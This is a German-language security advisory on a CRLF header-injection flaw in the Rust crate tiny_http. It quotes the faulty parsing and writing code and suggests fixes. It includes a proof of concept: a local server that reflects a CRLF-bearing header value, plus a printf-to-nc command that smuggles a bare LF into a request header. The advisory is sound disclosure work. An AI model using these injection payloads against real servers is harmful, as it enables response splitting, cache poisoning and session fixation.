
Sicherheitshinweis: HTTP-Header-Injection über nicht validierte CR- und LF-Zeichen in Header-Werten (tiny_http)
Zugewiesene CVE-ID: CVE-2026-66753
tiny_http lehnt Wagenrücklauf oder Zeilenvorschub in HTTP-Header-Werten nicht ab, und zwar in keiner Richtung.
Auf der Anforderungsseite beendet read_next_line eine Header-Zeile nur bei CRLF, so dass ein einzelnes
LF innerhalb des geparsten Werts überlebt und die Anwendung erreicht. Auf der Antwortseite
validiert Header::from_bytes nur, dass die Bytes ASCII sind, und der
Antwort-Writer gibt Werte unverändert aus, so dass ein Wert mit CRLF die
Antwort aufspaltet.
Anwendungen, die einen Anforderungs-Header-Wert in einen Antwort-Header spiegeln oder die Anforderungs-Header auf einer anderen Verbindung erneut serialisieren, erben daher eine Injektions-Primitive ohne jeden Hinweis darauf, dass etwas nicht stimmt.
Repo-URL: https://github.com/tiny-http/tiny-http
| Betroffen | alle veröffentlichten Versionen bis einschließlich 0.12.0 (2022-10-06), der aktuellen Version |
| Verifiziert | 0.6.2, 0.6.3, 0.8.0, 0.9.0, 0.10.0, 0.11.0, 0.12.0 |
| Behoben in | zum Zeitpunkt des Schreibens keine behobene Version |
Dies ist zu unterscheiden von RUSTSEC-2020-0031 / CVE-2020-35884, das die
Transfer-Encoding-Analyse betraf und in 0.6.3 und 0.8.0 behoben wurde. Das hier
beschriebene Verhalten ist sowohl vor als auch nach diesem Fix vorhanden.
CWE-113 (Unzureichende Neutralisierung von CRLF-Sequenzen in HTTP-Headern), ein spezieller Fall von CWE-93 (CRLF-Injection).
CVSS-4.0-Basiswert 6.3 (Mittel)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N
Ein entfernter, nicht authentifizierter Client, der rohes HTTP an einen beliebigen tiny_http-Server sendet. Keine Anmeldedaten oder Benutzerinteraktion.
Zwei Konsumenten-Formen machen daraus eine Schwachstelle:
Anwendungen, die einen Anforderungs-Header-Wert in einen Antwort-Header kopieren. Dies ist das
Reflexionsmuster hinter CORS-Origin-Echo, Location-Headern, die aus
Anforderungsdaten erstellt werden, und Cookie-Behandlung. Ein einzelnes LF im Anforderungswert erreicht
die Antwort, und wenn die Anwendung den Antwortwert selbst konstruiert, kann er
ein vollständiges CRLF tragen.
Anwendungen, die Anforderungs-Header auf einer anderen Verbindung erneut serialisieren, wie etwa
einen Reverse-Proxy. Das einzelne LF wird in die Upstream-Anforderung geschrieben, und Backends,
die ein bloßes LF als Header-Zeilenbegrenzer behandeln, lesen eine Anforderung als zwei.
RFC 9112 Abschnitt 2.2 erlaubt Empfängern dies, daher sind diese Backends konform.
Sowohl Go net/http als auch Python http.server wurden gemessen und akzeptieren es.
tiny_http-0.12.0/src/client.rs, Zeilen 80 bis 102. Die Schleife kehrt nur zurück, wenn ein
LF von einem CR gefolgt wird. Jedes andere Byte, einschließlich eines einzelnen LF oder eines einzelnen CR, wird
in Zeile 100 in den Zeilenpuffer geschoben:
84 loop {
85 let byte = self.next_header_source.by_ref().bytes().next();
...
92 if byte == b'\n' && prev_byte_was_cr {
93 buf.pop(); // removing the '\r'
94 return AsciiString::from_ascii(buf)
95 .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
96 }
97
98 prev_byte_was_cr = byte == b'\r';
99
100 buf.push(byte);
101 }
LF ist 0x0A und CR ist 0x0D, beide gültiges ASCII, daher akzeptiert AsciiString::from_ascii in
Zeile 94 sie.
tiny_http-0.12.0/src/common.rs, Zeilen 184 bis 191, kürzt dann nur den Wert.
trim entfernt führende und abschließende Leerzeichen, lässt aber innere Bytes intakt:
184 fn from_str(input: &str) -> Result<Header, ()> {
185 let mut elems = input.splitn(2, ':');
186
187 let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188 let value = elems
189 .next()
190 .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191 .ok_or(())?;
Ein CRLF-Paar kann nicht überleben, da es die Zeile beendet, aber ein einzelnes LF, ein einzelnes
CR und Sequenzen wie \n\r können es.
tiny_http-0.12.0/src/common.rs, Zeilen 166 bis 172, prüft nur auf ASCII:
166 pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171 let header = HeaderField::from_bytes(header).or(Err(()))?;
172 let value = AsciiString::from_ascii(value).or(Err(()))?;
tiny_http-0.12.0/src/response.rs, Zeilen 99 bis 104, schreibt den Wert ohne
Maskierung:
99 for header in headers.iter() {
100 writer.write_all(header.field.as_str().as_ref())?;
101 write!(&mut writer, ": ")?;
102 writer.write_all(header.value.as_str().as_ref())?;
103 write!(&mut writer, "\r\n")?;
104 }
Beachte, dass HeaderField::from_str in Zeile 226 Leerzeichen in einem Feldnamen
zurückweist, aber HeaderField::from_bytes in Zeile 171 dies nicht tut, sodass Antwort-Header-Namen
ebenfalls ungeprüft sind.
Schritt 1. Starte einen Server, der einen geparsten Anforderungs-Header-Wert ausgibt und einen CRLF enthaltenden Wert in einen Antwort-Header spiegelt.
use tiny_http::{Header, Response, Server};
fn main() {
let server = Server::http("127.0.0.1:8004").unwrap();
for request in server.incoming_requests() {
for h in request.headers() {
if h.field.equiv("X-Test") {
println!("parsed X-Test value = {:?}", h.value.as_str());
}
}
let evil = "a\r\nX-Injected: yes";
let mut resp = Response::from_string("body");
resp.add_header(Header::from_bytes(&b"X-Echo"[..], evil.as_bytes()).unwrap());
let _ = request.respond(resp);
}
}
Schritt 2. Sende eine Anforderung, deren X-Test-Wert ein bloßes LF enthält. Im folgenden
Befehl ist \n ein einzelner Zeilenvorschub und \r\n ein CRLF. Der Unterschied ist der
Punkt des Tests, also lass keinen Editor ihn normalisieren.
printf 'GET / HTTP/1.1\r\nHost: x\r\nX-Test: aaa\nbbb\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8004
Ergebnis auf stdout. Das LF befindet sich noch immer innerhalb des geparsten Werts:
parsed X-Test value = "aaa\nbbb"
Ergebnis auf der Leitung. Die Antwort-Header teilen sich in zwei auf:
HTTP/1.1 200 OK
Server: tiny-http (Rust)
Content-Type: text/plain; charset=UTF-8
X-Echo: a
X-Injected: yes
Content-Length: 4
body
Für sich genommen sendet tiny_http Anforderungs-Header nicht erneut aus, daher ist das Verhalten auf der Anforderungsseite eine latente Primitive und kein direkter Kompromiss. Es wird ausnutzbar in jedem Konsumenten, der Header-Werte weiterleitet oder spiegelt, wo es Request Smuggling gegen LF-tolerante Backends oder Header-Injection in der Antwort erzeugt.
Das Verhalten auf der Antwortseite ist direkt ausnutzbar in jeder Anwendung, die
angreiferbeeinflussten Text in einen Header-Wert setzt: Skript-Injection im
Kontext des Ursprungs, Cache-Poisoning, Session-Fixation durch einen injizierten
Set-Cookie, und das Überschreiben von Sicherheits-Headern.
Zum Vergleich: Die http-Crate weist CR und LF in HeaderValue::from_str zurück,
weshalb darauf aufbauende Stacks keines der beiden Verhalten aufweisen.
Lehne Steuerzeichen an beiden Grenzen ab.
Behandle in read_next_line (src/client.rs Zeile 80) ein bloßes CR oder ein bloßes LF in einer
Header-Zeile als Protokollfehler und gib 400 zurück, anstatt es in den Wert zu falten.
Alternativ lehne sie in Header::from_str (src/common.rs Zeile
184) nach der Aufteilung ab.
Lehne in Header::from_bytes (src/common.rs Zeile 166) Werte ab, die
0x0D, 0x0A oder 0x00 enthalten, und lehne Feldnamen ab, die etwas außerhalb des
RFC-9110-Token-Satzes enthalten. Die Rückgabe von Err dort wird von Aufrufern bereits behandelt, da
die Signatur fehlbar ist.